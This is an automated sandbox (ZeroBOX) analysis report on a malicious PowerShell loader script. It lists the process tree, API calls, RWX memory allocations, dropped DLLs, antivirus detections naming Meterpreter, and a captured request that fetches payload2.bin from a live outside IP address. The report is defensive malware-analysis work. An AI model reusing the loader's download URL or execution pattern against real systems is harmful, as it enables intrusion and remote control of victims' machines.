Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 18, 2025, 11:50 a.m.	April 18, 2025, 11:52 a.m.

Size	1.7KB
Type	UTF-8 Unicode text
MD5	`754021a1fb8aa76c3d927ef703c6a1d5`
SHA256	`572642f19ddc0b0b231eae1eee3824b4eab443368498db9d3610861fa899640c`
CRC32	`B1BE748D`
ssdeep	`48:Mf9HKnXzDwDlZI9B2mfa+zfbG+YahmtI51gLE:MF9GpfRzfRYNt41l`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\loader2.ps1
2544
- csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\utxsr0o0.cmdline"
  2720
  - cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESFADB.tmp" "c:\Users\test22\AppData\Local\Temp\CSCFACB.tmp"
    2764
- csc.exe "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\ogafcj7v.cmdline"
  2812
  - cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESFCC0.tmp" "c:\Users\test22\AppData\Local\Temp\CSCFCAF.tmp"
    2860
- dw20.exe dw20.exe -x -s 1556
  2916

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
212.227.245.12	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49162 -> 212.227.245.12:80	2053319	ET MALWARE HTTP Request to URL Ending in Payload .bin	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (3 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 18, 2025, 11:50 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 18, 2025, 11:50 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 18, 2025, 11:50 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 18, 2025, 11:50 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 88 events)

Time & API	Arguments	Status	Return
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f6d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0052f458 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00525bf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0051ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00554fa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555280 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005ac7c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005a5bb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 18, 2025, 11:50 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ea78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 18, 2025, 11:51 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 18, 2025, 11:50 a.m.	stacktrace: exception.instruction_r: 6e 65 74 00 41 56 48 89 e1 49 c7 c2 4c 77 26 07 exception.instruction: outsb dx, byte ptr [esi] exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0x63500e1 registers.esp: 105971308 registers.edi: 0 registers.eax: 1968976822 registers.ebp: 104136714 registers.edx: 104136704 registers.ebx: 0 registers.esi: 1768843639 registers.ecx: 4294967295	1	0	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://212.227.245.12/payload2.bin

Performs some HTTP requests (1 event)

request

GET http://212.227.245.12/payload2.bin

Allocates read-write-execute memory (usually to unpack itself) (30 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0271b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0272f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02729000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05577000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05578000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06350000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05579000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0557a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2544 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x062a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2720 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e70000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2812 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01df0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2812 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ea0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2916 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ed32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 18, 2025, 11:50 a.m.	process_identifier: 2916 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02990000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	c:\Users\test22\AppData\Local\Temp\utxsr0o0.dll
file	c:\Users\test22\AppData\Local\Temp\ogafcj7v.dll

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\ogafcj7v.dll
file	C:\Users\test22\AppData\Local\Temp\utxsr0o0.dll

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

CTX	powershell.unknown.boxter
VIPRE	Heur.BZC.PZQ.Boxter.826.3EE00B4F
Arcabit	Heur.BZC.PZQ.Boxter.826.3EE00B4F
BitDefender	Heur.BZC.PZQ.Boxter.826.3EE00B4F
MicroWorld-eScan	Heur.BZC.PZQ.Boxter.826.3EE00B4F
Emsisoft	Heur.BZC.PZQ.Boxter.826.3EE00B4F (B)
Microsoft	Trojan:Script/Wacatac.C!ml
GData	Heur.BZC.PZQ.Boxter.826.3EE00B4F
huorong	Backdoor/Meterpreter.as

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 18, 2025, 11:50 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (1 event)

Data received

HTTP/1.1 200 OK Date: Fri, 18 Apr 2025 02:50:48 GMT Server: Apache/2.4.63 (Debian) Last-Modified: Wed, 16 Apr 2025 17:36:50 GMT ETag: "2a0-632e8baea9080" Accept-Ranges: bytes Content-Length: 672 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream ßîA´9¤â0?8f[/ Öq,y°×&tOÑQXÄaF^råÒµà± zPè8òaK}´½$+Î`dÃ=¢èZ|?J¶^@À? P½="£]^çZôjn¾Ê?ÿH¾ôpò-ü¯ YsÙP5lR´¶Ýx×]«cÚ¸Í{´"7*è,w²X±m4|§NÆ¹RM].MC}>DÀ×?±ªDôó[òCñ¼#4ZNî¯|ÄUËa©Gêwp;Ýå·Zá8õcÁå¯Ü{vðjK¾Õý¡þ´¬H|K;¯¬03z!Û¾ìWÆTX=&ÃülNüïëÔo«RJ8aú>°èüìs1Ò¿5Ò!f`,µné&¦L%»ÖÃÞ&hKÆ®awô^ &C÷@=/î¡%P!km¨ZÊqs½ã_02õ:ë¢5¢º#jÑ"Øö 4å1p§eþTM`èõÇs)ÑÞ8ÕàhµÚñ.,G;6¿¿¯FâdÜWÁ°é¿_U°þàOkLVþi÷:Aå>ÜI+üuÈºã*ÚTkyðêWÝõ¤|PRQhb/ xÄîk&ól=×IYcÊÁsçýÇ.lÌ»¿&B<Ö<¢¢S'ËÒG°×¸R ÿíjË*q xöÃy.£iÇÙn}rp¾.Þ4o"/ÉÒ/²7µ, ù*w¶¡e¦'¦ üÎ@kCbÛæ×;|n^ø¡7þï^µßÈwuuJ»¸®MW+í i?ÇÙ²±>sàX¨.¹Xögô ,¥WËëÃMÕÙ7bÏ

Poweshell is sending data to a remote host (1 event)

Data sent

GET /payload2.bin HTTP/1.1 Host: 212.227.245.12 Connection: Keep-Alive

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\utxsr0o0.cmdline"
cmdline	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\ogafcj7v.cmdline"

Communicates with host for which no DNS query was performed (1 event)

host

212.227.245.12

Deletes executed files from disk (2 events)

file	C:\Users\test22\AppData\Local\Temp\RESFADB.tmp
file	c:\Users\test22\AppData\Local\Temp\CSCFACB.tmp

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send April 18, 2025, 11:50 a.m.	buffer: GET /payload2.bin HTTP/1.1 Host: 212.227.245.12 Connection: Keep-Alive socket: 1540 sent: 76	1	76	0

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\ogafcj7v.cmdline"
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\utxsr0o0.cmdline"
parent_process	powershell.exe	martian_process	dw20.exe -x -s 1556

loader2.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All